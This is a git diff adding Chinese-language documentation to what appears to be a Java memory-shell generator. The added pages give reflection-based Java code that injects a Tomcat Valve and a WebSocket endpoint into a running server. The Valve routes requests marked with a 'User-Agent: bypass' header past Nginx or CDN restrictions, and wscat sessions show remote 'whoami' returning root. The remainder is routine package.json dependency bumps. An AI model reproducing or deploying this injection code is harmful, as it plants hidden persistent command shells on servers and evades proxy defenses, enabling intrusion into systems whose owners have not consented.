} else { + path = request.getServletPath() + pathInfo; + } + Object sc = request.getServletContext().getAttribute("javax.websocket.server.ServerContainer"); + if (sc == null) { + sc = request.getServletContext().getAttribute("jakarta.websocket.server.ServerContainer"); + } + if (sc == null) { + throw new ServletException("Server container not found"); + } + addHeader(request, "Connection", "upgrade"); + addHeader(request, "Upgrade", "websocket"); + Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path); + Class upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil"); + for (Method method : upgradeUtil.getMethods()) { + if ("doUpgrade".equals(method.getName())) { + method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams")); + } + } + return; + } + } catch (Throwable e) { + e.printStackTrace(); + } + this.getNext().invoke(request, response); + } + + private void addHeader(Request request, String key, String value) { + try { + Field coyoteRequestField = request.getClass().getDeclaredField("coyoteRequest"); + coyoteRequestField.setAccessible(true); + Object coyoteRequest = coyoteRequestField.get(request); + Method getMimeHeadersMethod = coyoteRequest.getClass().getMethod("getMimeHeaders"); + Object mimeHeaders = getMimeHeadersMethod.invoke(coyoteRequest); + Method addValueMethod = mimeHeaders.getClass().getMethod("addValue", String.class); + Object messageBytes = addValueMethod.invoke(mimeHeaders, key); + Method setStringMethod = messageBytes.getClass().getMethod("setString", String.class); + setStringMethod.invoke(messageBytes, value); + } catch (Exception e) { + e.printStackTrace(); + } + } + + private Object getFieldValue(Object obj, String fieldName) throws Exception { + Field declaredField = obj.getClass().getDeclaredField(fieldName); + declaredField.setAccessible(true); + return declaredField.get(obj); + } + + //... +} +``` + +因此我们注入能够绕过 Nginx 或 CDN 限制的 WebSocket 内存马,只需要在注入 WebSocket 内存马的基础上额外注入一个 Valve 内存马。 + +```java +private void inject(Object context, Object obj) throws Exception { + Object servletContext = invokeMethod(context, "getServletContext", null, null); + Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"}); + if (container == null) { + container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"}); + } + + if (container == null) { + throw new RuntimeException("container is null"); + } + + if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) { + return; + } + + Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance(); // [!code ++] + Object pipeline = invokeMethod(context, "getPipeline", null, null); // [!code ++] + Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve"); // [!code ++] + invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); // [!code ++] + + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Class serverEndpointConfigClass; + Class builderClass; + try { + serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig"); + builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder"); + } catch (ClassNotFoundException e) { + serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig"); + builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder"); + } + Constructor constructor = builderClass.getDeclaredConstructor(Class.class, String.class); + constructor.setAccessible(true); + Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern()); + Object endpointConfig = invokeMethod(o1, "build", null, null); + + invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); + invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800}); + invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig}); +} +``` \ No newline at end of file diff --git a/web/content/docs/middleware/tomcat.mdx b/web/content/docs/middleware/tomcat.mdx deleted file mode 100644 index 2b2af237..00000000 --- a/web/content/docs/middleware/tomcat.mdx +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Tomcat ---- - -## Valve 内存马 - -## ProxyValve 内存马 - -## Upgrade 内存马 \ No newline at end of file diff --git a/web/content/docs/shelltool/command.mdx b/web/content/docs/shelltool/command.mdx index 0888487b..d55085cf 100644 --- a/web/content/docs/shelltool/command.mdx +++ b/web/content/docs/shelltool/command.mdx @@ -1,5 +1,81 @@ --- title: Command +description: 可以让我们执行任意非交互式命令并回显命令结果的内存马。 --- +import { Step, Steps } from 'fumadocs-ui/components/steps'; -WIP \ No newline at end of file +## WebSocket 内存马 + + + +### 选择 Command 并填写参数 + +![command_ws.png](../images/command_ws.png) + + + +### 生成并注入 + +选取合适的打包方式,并进行内存马的注入。 + + + +### 使用 WebSocket 客户端尝试连接 + +我这里使用的是 [wscat](https://github.com/websockets/wscat) 工具,使用 npm 就能下载 `npm install -g wscat`。 + +`/app` 是应用的路径,`/ws-cmd` 是上述生成时填的路径。 + +```bash +❯ wscat -c ws://127.0.0.1:8082/app/ws-cmd +Connected (press CTRL+C to quit) +> whoami +< reajason + +> +``` + + + +## BypassNginxWebSocket 内存马 + + + +### 选择 Command 并填写参数 + +![command_bypass_ws.png](../images/command_bypass_ws.png) + + + +### 生成并注入 + +选取合适的打包方式,并进行内存马的注入。 + + + +### 使用 WebSocket 客户端尝试连接 + +我这里使用的是 [wscat](https://github.com/websockets/wscat) 工具,使用 npm 就能下载 `npm install -g wscat`。 + +`/app` 是应用的路径,`/ws-bypass-cmd` 是上述生成时填的路径。 + +我们可以先尝试直接连接,直接 404 因为 /app/ws-bypass-cmd 并不存在。 + +```bash +❯ wscat -c ws://127.0.0.1/app/ws-bypass-cmd +error: Unexpected server response: 404 +> % +``` + +紧接着我们加上 Header 的标识来进入我们设置好的 WsBypassValve 逻辑,连接成功! + +```bash +❯ wscat -H "User-Agent: bypass" -c ws://127.0.0.1/app/ws-bypass-cmd +Connected (press CTRL+C to quit) +> whoami +< root + +> +``` + + \ No newline at end of file diff --git a/web/package.json b/web/package.json index 4d3288d5..80960185 100644 --- a/web/package.json +++ b/web/package.json @@ -18,22 +18,22 @@ "@orama/stopwords": "^3.1.18", "@orama/tokenizers": "^3.1.18", "@react-router/node": "^7.12.0", - "@tanstack/react-query": "^5.90.16", + "@tanstack/react-query": "^5.90.17", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.26.1", + "framer-motion": "^12.26.2", "fumadocs-core": "^16.4.7", "fumadocs-mdx": "14.2.5", "fumadocs-ui": "16.4.7", "i18next": "^25.7.4", "isbot": "^5.1.32", "lucide-react": "^0.562.0", - "motion": "^12.26.1", + "motion": "^12.26.2", "react": "^19.2.3", "react-copy-to-clipboard": "^5.1.0", "react-dom": "^19.2.3", - "react-hook-form": "^7.71.0", - "react-i18next": "^16.5.2", + "react-hook-form": "^7.71.1", + "react-i18next": "^16.5.3", "react-medium-image-zoom": "^5.4.0", "react-syntax-highlighter": "^16.1.0", "sonner": "^2.0.7", @@ -46,12 +46,12 @@ "@react-router/dev": "^7.12.0", "@tailwindcss/vite": "^4.1.18", "@types/mdx": "^2.0.13", - "@types/node": "^25.0.7", + "@types/node": "^25.0.8", "@types/react": "^19.2.8", "@types/react-copy-to-clipboard": "^5.0.7", "@types/react-dom": "^19.2.3", "@types/react-syntax-highlighter": "^15.5.13", - "react-router-devtools": "^6.1.0", + "react-router-devtools": "^6.2.0", "rimraf": "^6.1.2", "serve": "^14.2.5", "tailwindcss": "^4.1.18",